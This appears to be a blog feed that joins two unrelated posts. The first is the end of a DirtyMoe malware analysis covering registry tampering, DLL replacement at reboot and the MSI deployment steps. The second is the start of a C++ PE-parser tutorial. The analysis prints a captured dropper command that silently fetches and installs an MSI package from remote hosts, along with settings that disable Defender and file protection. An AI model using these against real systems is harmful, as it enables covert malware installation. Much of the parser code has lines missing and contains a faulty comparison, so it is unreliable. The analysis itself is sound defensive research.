This registry manipulation is related only to the newer version. 7-Zip software does not support the stay on top feature. Therefore, it can be assumed that this registry entry serves as a flag that the installer package has been successfully run. SentinelLabs has published evidence that the presentence of this value indicates that a victim computer has been compromised by PurpleFox [2].

An active instance of the DirtyMoe malware stores settings and meta-data in this registry entry in an encrypted form. Therefore, if this entry is present in the system registry, the MSI installation is aborted.

2.2 Anti-Detection

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = 1
Microsoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1. So, if the system has no 3rd party antivirus product, the system is without protection against malicious software, including spyware [3].

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable = 4
Windows File Protection (WFP) prevents non-system applications from replacing critical Windows system files that can cause problems with the operating system integrity and stability. WFP is typically enabled by default in all versions of Windows [4].

Naturally, DirtyMoe wants to avoid a situation where WFP detects any manipulation with the system files. Therefore, the SFCDisable value is set to four, enabling WFP, but every WFP action is not pop-upped by GUI. The effect is that WFP is enabled, so no system alerts are invoked, but WFP warning is hidden for users. This is applicable only for Windows XP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan = 0
The System File Checker (SFC) provides the ability to scan system-protected files. SFC verifies file versions, and if it detects any file manipulation, SFC updates files to the correct version. This registry manipulation contributes to disabling SFC protecting the abused Windows service. This setup affects only file scanning, but WFP can still be active.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB = 0xFFFFFFFF
The crucial registry manipulation controls the system startup and some aspects of device configuration. To understand the primary purpose of the SvcHostSplitThresholdInKB registry entry, we must describe the historical development of Windows services and a generic host process.

In most cases, Windows services are run from dynamic-link libraries that Windows executes via the generic host process (svchost.exe). The hosted process can load more services (DLLs) as threads within one process. This is a historical relict from the times of Windows XP where system memory used to be a scarce commodity. The system used a few service host processes that hosted all Windows services, represented by DLL files, as the process creation and maintenance were expensive in terms of the system memory.

Figure 1 illustrates the example of run services and detailed information about the biggest host service process. Windows XP created 5 host processes grouped according to their purposes, such as LocalService, NetworkService, and System. PID 1016 is the biggest process in point of the memory usage view since this process hosts approx. 20 services. This approach saved the memory but made the system more unstable because if one of the services crashed, the entire service chain hosted by the same process was killed.

Figure 1. Service chain in Windows XP

Nowadays, there is no reason to group services within a few processes, and the resulting positive effects are increased system stability and security, as well as easier error analysis. Services now usually no longer share processes; mini-programs for providing system functions have an exclusive memory location. And if the svchost.exe process crashes, it no longer drags the entire service chain with it [5].

Windows 10 has come with a threshold value (SvcHostSplitThresholdInKB), determining when services shall be created as a regular process. The default value is 380,000, so the grouping service model is used if the system has less than 3.5 GB of memory. In other words, the increasing threshold value can reduce the amount of the host processes, and therefore it determines if the service processes are split.

Let’s give an example for Windows 10, if the value is set to 1, the number of host processes is approx. 70. And the threshold value equal to maximum (0xFFFFFFFF) causes that number of host processes to be only 26.

It is now understood that the maximum value of SvcHostSplitThresholdInKB can hide details about run processes. Therefore, the malware author set the threshold value to the maximum to hide the malicious service activity in threads. As a consequence, the malicious service is run within one host process in one of its threads. Accordingly, tracking and forensic analysis are made more difficult since the svchost process hosts many other services, and it is hard to assign system activities to the malware service.

2.3 Payload Delivery

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled = 0
In order to prevent deployment of other malware via EternalBlue exploit [6], the MSI installer disables SMB sharing, effectively closing port 445 on Windows XP.

AllowProtectedRenames and PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AllowProtectedRenames
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations

These registry entries are also related to WFP and therefore are crucial for the malicious code’s deployment to the victim machine. The principle is the same as in the MoveFileEx function with MOVEFILE_DELAY_UNTIL_REBOOT flag [7]. In other words, the MSI installer defines which file will be moved or deleted after reboot via the Session Manager Subsystem (SMSS) [8].

The malware authors abuse two system files, sens.dll for Windows Vista and newer, and cscdll.dll for Windows XP, see Section 3. Consequently, the SMSS replaces the critical system file with the malicious ones after the system reboot.

An example of the PendingFileRenameOperations value for Windows 7 32bit is as follows:





3. File Manipulation

DirtyMoe misuses the system services, precisely service DLL files, that are protected and which handlers are open, so replacing these files is not possible without the system reboot. Therefore, the first phase of the file manipulation is to extract payloads from the CAB file, and the second phase replaces the service DLL files with the extracted CAB files.

3.1 File Extraction

The CAB file usually contains three payload files.

  • winupdate32.log and winupdate64.log are malicious DLLs representing the DirtyMoe service.
  • sysupdate.log is an encrypted executable file that contains the default DirtyMoe module injected by the DirtyMoe service.

The MSI installer extracts and copies payloads from the CAB file into defined destinations if an appropriate condition is met, as the following table summarizes.

File Destination Condition
sysupdate.log %windir% None
winupdate32.log %windir% NOT VersionNT64
winupdate64.log %windir% VersionNT64

If the required files are extracted into the proper destination, the MSI installer ends and waits silently for the system to reboot. The next actions are performed by the SMSS.

3.2 File Replacement

The Session Manager Subsystem (SMSS) ensures replacing abused system files that are system-protected with the malicious ones based on PendingFileRenameOperations registry entry; see Section 2.3. In fact, the MSI installer invokes a post-reboot file manipulation based on a Windows version as follows:

Windows XP

  • Delete (if exist) %windir%\\AppPatch\\Acpcscdll.dll
  • Move %windir%\\system32\\cscdll.dll to %windir%\\AppPatch\\Acpcscdll.dll
  • Move %windir%\\winupdate32.log to %windir%\\system32\\cscdll.dll
  • Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
  • Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

Windows Vista and newer

  • Delete (if exist) %windir%\\AppPatch\\Acpsens.dll
  • Move %windir%\\system32\\sens.dll to %windir%\\AppPatch\\Acpsens.dll
  • Move %windir%\\winupdate64.log to %windir%\\system32\\sens.dll
  • Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
  • Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

The difference between Windows XP and Windows Vista and newer is an exploit of a hosting service. Windows XP uses Offline Network Agent (cscdll.dll) loaded by winlogon.exe under NT AUTHORITY\SYSTEM privileges. Windows Vista and newer provide System Event Notification Service (sens.dll) also run under SYSTEM. The Ke583427.xsl file is a default DirtyMoe module that is encrypted.

In short, the post-reboot operation slips DirtyMoe DLL into the system folder under the service name that is registered legitimately in the system. Replacement of such system files is possible because it is completed by SMSS, which is the first user-mode process started by the kernel. For that reason no handlers are created to the system DLL, and WFP is not also run yet. Finally, the malware represented by the slipped malicious DLL is started with system-level privileges since the abused service is registered as the legitimate service in Windows.

4. Deployment Workflow

If the PurpleFox successfully exploits a victim’s machine, the MSI installer package is run with administrator privileges. The MSI installer provides several options on how to install software silently, and therefore no user interaction is required. Although the system restart is necessary to apply all changes, the MSI installer also supports delayed restart; therefore, the user does not detect any suspicious symptoms. The installer only waits for the next system restart.

An example of how to run installation silently via MSI installer:
msiexec.exe /i <dirtymoe.msi> /qn /norestart; where /qn sets UI level to no UI.

We have captured a specific example of how the MSI installer is run after the successful system exploit.
Cmd /c for /d %i in ( do Msiexec /i http:\%i\0BC8EC41.moe \Q

This dropper iterates five IP addresses that are different for each minute, including ports; see Section 2 of the first part of DirtyMoe series. The MSI installer is run for each IP address with parameter \Q, so if the requested remote location is not available or the MSI file does not exist, the installer does not inform the user about the error. The deployment process then runs silently in the background.

The MSI installer sets the system registry defined in Section 2 and copies malicious files to the Windows folder, see Section 3. The subsequent system restart will arrange the code execution of the malicious DLL containing ServiceMain, which Windows starts as the SENS service. Given the complexity of the malicious service, we will return to its detailed description in the following blog post.

Usually, the MSI installer caches installation files in C:\Windows\Installer for future use, such as updating, reinstalling, etc. However, DirtyMoe does not keep the .msi backup file. The installer just creates a hash file about the malware installation. The filename has the form SourceHash{<Product Code>}. The file contains the name of the MSI source package. The most prevalent GUID is equal to: {80395032-1630-4C4B-A997-0A7CCB72C75B}

The MSI Installer Rollback Script cannot remove the malware since deployed files are moved by the SMSS and are out of the MSI Installer scope.

The whole deployment workflow is illustrated in Figure 2.

Figure 2. DirtyMoe deployment workflow

5. Conclusion

We have introduced the deployment process of the DirtyMoe malware via the MSI Installer that presents an easy way of supporting multiple configurations for various Windows versions. The MSI installer prepares all necessary files and configuration for successful deployment of the malware and also cleans up backup and cache files. However, there are a few symptoms that can reveal the DirtyMoe installations.

After the system reboot, Session Manager overwrites the files representing one of the system services by the malicious DLL file. The system then runs an appropriate service and thereby loads the malicious code, including the default DirtyMoe’s object, as the legitimate service.

All these steps deploy and run DirtyMoe on the victim’s machine. In point of the cyber kill chain, detailed information about DirtyMoe service and further installation actions will be introduced in the future article.


[1] Description of the Windows File Protection feature
[2] Purple Fox EK
[3] Security Malware Windows Defender
[4] Enable or Disable Windows File Protection
[5] Split Threshold for svchost.exe in Windows 10
[6] EternalBlue
[7] MoveFileExA function (winbase.h)
[8] Pending FileRename Operations

The post DirtyMoe: Deployment appeared first on Avast Threat Labs.

A dive into the PE file format - LAB 1: Writing a PE Parser

29 October 2021 at 01:00
By: 0xRick

A dive into the PE file format - LAB 1: Writing a PE Parser


In the previous posts we’ve discussed the basic structure of PE files, In this post we’re going to apply this knowledge into building a PE file parser in c++ as a proof of concept.

The parser we’re going to build will not be a full parser and is not intended to be used as a reliable tool, this is only an exercise to better understand the PE file structure.
We’re going to focus on PE32 and PE32+ files, and we’ll only parse the following parts of the file:

  • DOS Header
  • Rich Header
  • NT Headers
  • Data Directories (within the Optional Header)
  • Section Headers
  • Import Table
  • Base Relocations Table

The code of this project can be found on my github profile.

Initial Setup

Process Outline

We want out parser to follow the following process:

  1. Read a file.
  2. Validate that it’s a PE file.
  3. Determine whether it’s a PE32 or a PE32+.
  4. Parse out the following structures:
    • DOS Header
    • Rich Header
    • NT Headers
    • Section Headers
    • Import Data Directory
    • Base Relocation Data Directory
  5. Print out the following information:
    • File name and type.
    • DOS Header:
      • Magic value.
      • Address of new exe header.
    • Each entry of the Rich Header, decrypted and decoded.
    • NT Headers - PE file signature.
    • NT Headers - File Header:
      • Machine value.
      • Number of sections.
      • Size of Optional Header.
    • NT Headers - Optional Header:
      • Magic value.
      • Size of code section.
      • Size of initialized data.
      • Size of uninitialized data.
      • Address of entry point.
      • RVA of start of code section.
      • Desired Image Base.
      • Section alignment.
      • File alignment.
      • Size of image.
      • Size of headers.
    • For each Data Directory: its name, RVA and size.
    • For each Section Header:
      • Section name.
      • Section virtual address and size.
      • Section raw data pointer and size.
      • Section characteristics value.
    • Import Table:
      • For each DLL:
        • DLL name.
        • ILT and IAT RVAs.
        • Whether its a bound import or not.
        • for every imported function:
          • Ordinal if ordinal/name flag is 1.
          • Name, hint and Hint/Name table RVA if ordinal/name flag is 0.
    • Base Relocation Table:
      • For each block:
        • Page RVA.
        • Block size.
        • Number of entries.
        • For each entry:
          • Raw value.
          • Relocation offset.
          • Relocation Type.

winnt.h Definitions

We will need the following definitions from the winnt.h header:

  • Types:
    • BYTE
    • WORD
    • DWORD
    • QWORD
    • LONG
  • Constants:
  • Structures:

I took these definitions from winnt.h and added them to a new header called winntdef.h.


typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;
typedef unsigned long long QWORD;
typedef unsigned long LONG;
typedef __int64 LONGLONG;
typedef unsigned __int64 ULONGLONG;

#define ___IMAGE_NT_OPTIONAL_HDR32_MAGIC       0x10b
#define ___IMAGE_NT_OPTIONAL_HDR64_MAGIC       0x20b
#define ___IMAGE_DOS_SIGNATURE                 0x5A4D

#define ___IMAGE_DIRECTORY_ENTRY_EXPORT          0
#define ___IMAGE_DIRECTORY_ENTRY_IMPORT          1
#define ___IMAGE_DIRECTORY_ENTRY_DEBUG           6
#define ___IMAGE_DIRECTORY_ENTRY_TLS             9
#define ___IMAGE_DIRECTORY_ENTRY_IAT            12

#define ___IMAGE_SIZEOF_SHORT_NAME              8
#define ___IMAGE_SIZEOF_SECTION_HEADER          40

typedef struct __IMAGE_DOS_HEADER {
    WORD   e_magic;
    WORD   e_cblp;
    WORD   e_cp;
    WORD   e_crlc;
    WORD   e_cparhdr;
    WORD   e_minalloc;
    WORD   e_maxalloc;
    WORD   e_ss;
    WORD   e_sp;
    WORD   e_csum;
    WORD   e_ip;
    WORD   e_cs;
    WORD   e_lfarlc;
    WORD   e_ovno;
    WORD   e_res[4];
    WORD   e_oemid;
    WORD   e_oeminfo;
    WORD   e_res2[10];
    LONG   e_lfanew;

typedef struct __IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;

typedef struct __IMAGE_OPTIONAL_HEADER {
    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;
    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;

typedef struct __IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;

typedef struct __IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;

typedef struct __IMAGE_NT_HEADERS64 {
    DWORD Signature;
    ___IMAGE_FILE_HEADER FileHeader;
    ___IMAGE_OPTIONAL_HEADER64 OptionalHeader;

typedef struct __IMAGE_NT_HEADERS {
    DWORD Signature;
    ___IMAGE_FILE_HEADER FileHeader;
    ___IMAGE_OPTIONAL_HEADER32 OptionalHeader;

typedef struct __IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;

typedef struct __IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    char   Name[100];

typedef struct __IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;

typedef struct __IMAGE_SECTION_HEADER {
    union {
        DWORD   PhysicalAddress;
        DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;

Custom Structures

I defined the following structures to help with the parsing process. They’re defined in the PEFILE_CUSTOM_STRUCTS.h header.


A structure to hold information about the Rich Header during processing.

typedef struct __RICH_HEADER_INFO {
    int size;
    char* ptrToBuffer;
    int entries;
  • size: Size of the Rich Header (in bytes).
  • ptrToBuffer: A pointer to the buffer containing the data of the Rich Header.
  • entries: Number of entries in the Rich Header.

A structure to represent a Rich Header entry.

typedef struct __RICH_HEADER_ENTRY {
    WORD  prodID;
    WORD  buildID;
    DWORD useCount;
  • prodID: Type ID / Product ID.
  • buildID: Build ID.
  • useCount: Use count.

A structure to represent the Rich Header.

typedef struct __RICH_HEADER {
  • entries: A pointer to a RICH_HEADER_ENTRY array.

A structure to represent a 32-bit ILT entry during processing.

typedef struct __ILT_ENTRY_32 {
    union {
        DWORD ORDINAL : 16;
        DWORD HINT_NAME_TABE : 32;
    } FIELD_1;

The structure will hold a 32-bit value and will return the appropriate piece of information (using bit fields) when the member corresponding to that piece of information is accessed.


A structure to represent a 64-bit ILT entry during processing.

typedef struct __ILT_ENTRY_64 {
    union {
        DWORD ORDINAL : 16;
        DWORD HINT_NAME_TABE : 32;
    } FIELD_2;

The structure will hold a 64-bit value and will return the appropriate piece of information (using bit fields) when the member corresponding to that piece of information is accessed.


A structure to represent a base relocation entry during processing.

typedef struct __BASE_RELOC_ENTRY {
    WORD OFFSET : 12;
    WORD TYPE : 4;
  • OFFSET: Relocation offset.
  • TYPE: Relocation type.


Our parser will represent a PE file as an object type of either PE32FILE or PE64FILE.
These 2 classes only differ in some member definitions but their functionality is identical.
Throughout this post we will use the code from PE64FILE.


The class is defined as follows:

class PE64FILE
    PE64FILE(char* _NAME, FILE* Ppefile);
    void PrintInfo();

    char* NAME;
    FILE* Ppefile;
    int _import_directory_count, _import_directory_size;
    int _basreloc_directory_count;

    // HEADERS



    // NT_HEADERS.Signature

    // NT_HEADERS.FileHeader

    // NT_HEADERS.OptionalHeader




    int  locate(DWORD VA);
    DWORD resolve(DWORD VA, int index);

    // PARSERS
    void ParseFile();
    void ParseDOSHeader();
    void ParseNTHeaders();
    void ParseSectionHeaders();
    void ParseImportDirectory();
    void ParseBaseReloc();
    void ParseRichHeader();

    void PrintFileInfo();
    void PrintDOSHeaderInfo();
    void PrintRichHeaderInfo();
    void PrintNTHeadersInfo();
    void PrintSectionHeadersInfo();
    void PrintImportTableInfo();
    void PrintBaseRelocationsInfo();

The only public member beside the class constructor is a function called printInfo() which will print information about the file.

The class constructor takes two parameters, a char array representing the name of the file and a file pointer to the actual data of the file.

After that comes a long series of variables definitions, these class members are going to be used internally during the parsing process and we’ll mention each one of them later.

In the end is a series of methods definitions, first two methods are called locate and resolve, I will talk about them in a minute.
The rest are functions responsible for parsing different parts of the file, and functions responsible for printing information about the same parts.


The constructor of the class simply sets the file pointer and name variables, then it calls the ParseFile() function.

PE64FILE::PE64FILE(char* _NAME, FILE* _Ppefile) {
	Ppefile = _Ppefile;



The ParseFile() function calls the other parser functions:

void PE64FILE::ParseFile() {








Resolving RVAs

Most of the time, we’ll have a RVA that we’ll need to change to a file offset.
The process of resolving an RVA can be outlined as follows:

  1. Determine which section range contains that RVA:
    • Iterate over all sections and for each section compare the RVA to the section virtual address and to the section virtual address added to the virtual size of the section.
    • If the RVA exists within this range then it belongs to that section.
  2. Calculate the file offset:
    • Subtract the RVA from the section virtual address.
    • Add that value to the raw data pointer of the section.

An example of this is locating a Data Directory.
The IMAGE_DATA_DIRECTORY structure only gives us an RVA of the directory, to locate that directory we’ll need to resolve that address.

I wrote two functions to do this, first one to locate the virtual address (locate()), second one to resolve the address (resolve()).

int PE64FILE::locate(DWORD VA) {
	int index;
		if (VA >= PEFILE_SECTION_HEADERS[i].VirtualAddress
			&& VA < (PEFILE_SECTION_HEADERS[i].VirtualAddress + PEFILE_SECTION_HEADERS[i].Misc.VirtualSize)){
			index = i;
	return index;

DWORD PE64FILE::resolve(DWORD VA, int index) {

	return (VA - PEFILE_SECTION_HEADERS[index].VirtualAddress) + PEFILE_SECTION_HEADERS[index].PointerToRawData;


locate() iterates over the PEFILE_SECTION_HEADERS array, compares the RVA as described above, then it returns the index of the appropriate section header within the PEFILE_SECTION_HEADERS array.

Please note that in order for these functions to work we’ll need to parse out the section headers and fill the PEFILE_SECTION_HEADERS array first.
We still haven’t discussed this part, but I wanted to talk about the address resolvers first.

main function

The main function of the program is fairly simple, it only does 2 things:

  • Create a file pointer to the given file, and validate that the file was read correctly.
  • Call INITPARSE() on the file, and based on the return value it decides between three actions:
    • Exit.
    • Create a PE32FILE object, call PrintInfo(), close the file pointer then exit.
    • Create a PE64FILE object, call PrintInfo(), close the file pointer then exit.

PrintInfo() calls the other print info functions.

int main(int argc, char* argv[])
	if (argc != 2) {
		printf("Usage: %s [path to executable]\n", argv[0]);
		return 1;

	FILE * PpeFile;
	fopen_s(&PpeFile, argv[1], "rb");

	if (PpeFile == NULL) {
		printf("Can't open file.\n");
		return 1;

	if (INITPARSE(PpeFile) == 1) {
	else if (INITPARSE(PpeFile) == 32) {
		PE32FILE PeFile_1(argv[1], PpeFile);
	else if (INITPARSE(PpeFile) == 64) {
		PE64FILE PeFile_1(argv[1], PpeFile);

	return 0;


INITPARSE() is a function defined in PEFILE.cpp.
Its only job is to validate that the given file is a PE file, then determine whether the file is PE32 or PE32+.

It reads the DOS header of the file and checks the DOS MZ header, if not found it returns an error.

After validating the PE file, it sets the file position to (DOS_HEADER.e_lfanew + size of DWORD (PE signature) + size of the file header) which is the exact offset of the beginning of the Optional Header.
Then it reads a WORD, we know that the first WORD of the Optional Header is a magic value that indicates the file type, it then compares that word to IMAGE_NT_OPTIONAL_HDR32_MAGIC and IMAGE_NT_OPTIONAL_HDR64_MAGIC, and based on the comparison results it either returns 32 or 64 indicating PE32 or PE32+, or it returns an error.

int INITPARSE(FILE* PpeFile) {


	fseek(PpeFile, 0, SEEK_SET);
	fread(&TMP_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, PpeFile);

		printf("Error. Not a PE file.\n");
		return 1;

	fseek(PpeFile, (TMP_DOS_HEADER.e_lfanew + sizeof(DWORD) + sizeof(___IMAGE_FILE_HEADER)), SEEK_SET);
	fread(&PEFILE_TYPE, sizeof(WORD), 1, PpeFile);

		return 32;
		return 64;
	else {
		printf("Error while parsing IMAGE_OPTIONAL_HEADER.Magic. Unknown Type.\n");
		return 1;


Parsing DOS Header


Parsing out the DOS Header is nothing complicated, we just need to read from the beginning of the file an amount of bytes equal to the size of the DOS Header, then we can assign that data to the pre-defined class member PEFILE_DOS_HEADER.
From there we can access all of the struct members, however we’re only interested in e_magic and e_lfanew.

void PE64FILE::ParseDOSHeader() {
	fseek(Ppefile, 0, SEEK_SET);
	fread(&PEFILE_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, Ppefile);




This function prints e_magic and e_lfanew values.

void PE64FILE::PrintDOSHeaderInfo() {
	printf(" DOS HEADER:\n");
	printf(" -----------\n\n");

	printf(" Magic: 0x%X\n", PEFILE_DOS_HEADER_EMAGIC);
	printf(" File address of new exe header: 0x%X\n", PEFILE_DOS_HEADER_LFANEW);


Parsing Rich Header


To parse out the Rich Header we’ll need to go through multiple steps.

We don’t know anything about the Rich Header, we don’t know its size, we don’t know where it’s exactly located, we don’t even know if the file we’re processing contains a Rich Header in the first place.

First of all, we need to locate the Rich Header.
We don’t know the exact location, however we have everything we need to locate it.
We know that if a Rich Header exists, then it has to exist between the DOS Stub and the PE signature or the beginning of the NT Headers.
We also know that any Rich Header ends with a 32-bit value Rich followed by the XOR key.

One might rely on the fixed size of the DOS Header and the DOS Stub, however, the default DOS Stub message can be changed, so that size is not guaranteed to be fixed.
A better approach would be to read from the beginning of the file to the start of the NT Headers, then search through that buffer for the Rich sequence, if found then we’ve successfully located the end of the Rich Header, if not found then most likely the file doesn’t contain a Rich Header.

Once we’ve located the end of the Rich Header, we can read the XOR key, then go backwards starting from the Rich signature and keep XORing 4 bytes at a time until we reach the DanS signature which indicates the beginning of the Rich Header.

After obtaining the position and the size of the Rich Header, we can normally read and process the data.


This function starts by allocating a buffer on the heap, then it reads e_lfanew size of bytes from the beginning of the file and stores the data in the allocated buffer.

It then goes through a loop where it does a linear search byte by byte. In each iteration it compares the current byte and the byte the follows to 0x52 (R) and 0x69 (i).
When the sequence is found, it stores the index in a variable then the loop breaks.

	char* dataPtr = new char[PEFILE_DOS_HEADER_LFANEW];
	fseek(Ppefile, 0, SEEK_SET);
	fread(dataPtr, PEFILE_DOS_HEADER_LFANEW, 1, Ppefile);

	int index_ = 0;

	for (int i = 0; i <= PEFILE_DOS_HEADER_LFANEW; i++) {
		if (dataPtr[i] == 0x52 && dataPtr[i + 1] == 0x69) {
			index_ = i;

	if (index_ == 0) {
		printf("Error while parsing Rich Header.");

After that it reads the XOR key, then goes into the decryption loop where in each iteration it increments RichHeaderSize by 4 until it reaches the DanS sequence.

	char key[4];
	memcpy(key, dataPtr + (index_ + 4), 4);

	int indexpointer = index_ - 4;
	int RichHeaderSize = 0;

	while (true) {
		char tmpchar[4];
		memcpy(tmpchar, dataPtr + indexpointer, 4);

		for (int i = 0; i < 4; i++) {
			tmpchar[i] = tmpchar[i] ^ key[i];

		indexpointer -= 4;
		RichHeaderSize += 4;

		if (tmpchar[1] = 0x61 && tmpchar[0] == 0x44) {

After obtaining the size and the position, it allocates a new buffer for the Rich Header, reads and decrypts the Rich Header, updates PEFILE_RICH_HEADER_INFO with the appropriate data pointer, size and number of entries, then finally it deallocates the buffer it was using for processing.

	char* RichHeaderPtr = new char[RichHeaderSize];
	memcpy(RichHeaderPtr, dataPtr + (index_ - RichHeaderSize), RichHeaderSize);

	for (int i = 0; i < RichHeaderSize; i += 4) {

		for (int x = 0; x < 4; x++) {
			RichHeaderPtr[i + x] = RichHeaderPtr[i + x] ^ key[x];


	PEFILE_RICH_HEADER_INFO.size = RichHeaderSize;
	PEFILE_RICH_HEADER_INFO.ptrToBuffer = RichHeaderPtr;
	PEFILE_RICH_HEADER_INFO.entries = (RichHeaderSize - 16) / 8;

	delete[] dataPtr;

The rest of the function reads each entry of the Rich Header and updates PEFILE_RICH_HEADER.


	for (int i = 16; i < RichHeaderSize; i += 8) {
		WORD PRODID = (uint16_t)((unsigned char)RichHeaderPtr[i + 3] << 8) | (unsigned char)RichHeaderPtr[i + 2];
		WORD BUILDID = (uint16_t)((unsigned char)RichHeaderPtr[i + 1] << 8) | (unsigned char)RichHeaderPtr[i];
		DWORD USECOUNT = (uint32_t)((unsigned char)RichHeaderPtr[i + 7] << 24) | (unsigned char)RichHeaderPtr[i + 6] << 16 | (unsigned char)RichHeaderPtr[i + 5] << 8 | (unsigned char)RichHeaderPtr[i + 4];
		PEFILE_RICH_HEADER.entries[(i / 8) - 2] = {

		if (i + 8 >= RichHeaderSize) {
			PEFILE_RICH_HEADER.entries[(i / 8) - 1] = { 0x0000, 0x0000, 0x00000000 };


	delete[] PEFILE_RICH_HEADER_INFO.ptrToBuffer;

Here’s the full function:

void PE64FILE::ParseRichHeader() {
	char* dataPtr = new char[PEFILE_DOS_HEADER_LFANEW];
	fseek(Ppefile, 0, SEEK_SET);
	fread(dataPtr, PEFILE_DOS_HEADER_LFANEW, 1, Ppefile);

	int index_ = 0;

	for (int i = 0; i <= PEFILE_DOS_HEADER_LFANEW; i++) {
		if (dataPtr[i] == 0x52 && dataPtr[i + 1] == 0x69) {
			index_ = i;

	if (index_ == 0) {
		printf("Error while parsing Rich Header.");

	char key[4];
	memcpy(key, dataPtr + (index_ + 4), 4);

	int indexpointer = index_ - 4;
	int RichHeaderSize = 0;

	while (true) {
		char tmpchar[4];
		memcpy(tmpchar, dataPtr + indexpointer, 4);

		for (int i = 0; i < 4; i++) {
			tmpchar[i] = tmpchar[i] ^ key[i];

		indexpointer -= 4;
		RichHeaderSize += 4;

		if (tmpchar[1] = 0x61 && tmpchar[0] == 0x44) {

	char* RichHeaderPtr = new char[RichHeaderSize];
	memcpy(RichHeaderPtr, dataPtr + (index_ - RichHeaderSize), RichHeaderSize);

	for (int i = 0; i < RichHeaderSize; i += 4) {

		for (int x = 0; x < 4; x++) {
			RichHeaderPtr[i + x] = RichHeaderPtr[i + x] ^ key[x];


	PEFILE_RICH_HEADER_INFO.size = RichHeaderSize;
	PEFILE_RICH_HEADER_INFO.ptrToBuffer = RichHeaderPtr;
	PEFILE_RICH_HEADER_INFO.entries = (RichHeaderSize - 16) / 8;

	delete[] dataPtr;


	for (int i = 16; i < RichHeaderSize; i += 8) {
		WORD PRODID = (uint16_t)((unsigned char)RichHeaderPtr[i + 3] << 8) | (unsigned char)RichHeaderPtr[i + 2];
		WORD BUILDID = (uint16_t)((unsigned char)RichHeaderPtr[i + 1] << 8) | (unsigned char)RichHeaderPtr[i];
		DWORD USECOUNT = (uint32_t)((unsigned char)RichHeaderPtr[i + 7] << 24) | (unsigned char)RichHeaderPtr[i + 6] << 16 | (unsigned char)RichHeaderPtr[i + 5] << 8 | (unsigned char)RichHeaderPtr[i + 4];
		PEFILE_RICH_HEADER.entries[(i / 8) - 2] = {

		if (i + 8 >= RichHeaderSize) {
			PEFILE_RICH_HEADER.entries[(i / 8) - 1] = { 0x0000, 0x0000, 0x00000000 };


	delete[] PEFILE_RICH_HEADER_INFO.ptrToBuffer;



This function iterates over each entry in PEFILE_RICH_HEADER and prints its value.

void PE64FILE::PrintRichHeaderInfo() {
	printf(" RICH HEADER:\n");
	printf(" ------------\n\n");

	for (int i = 0; i < PEFILE_RICH_HEADER_INFO.entries; i++) {
		printf(" 0x%X 0x%X 0x%X: %d.%d.%d\n",


